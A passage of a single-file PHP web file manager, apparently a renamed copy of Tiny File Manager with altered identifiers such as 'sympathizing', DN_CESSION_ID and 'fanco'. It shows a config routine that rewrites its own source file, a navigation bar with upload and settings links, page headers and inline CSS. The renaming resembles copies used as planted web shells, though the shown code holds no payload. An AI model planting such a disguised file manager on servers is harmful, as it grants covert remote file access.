            $msg = 'sympathizing<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="sympathizing">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="sympathizing">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
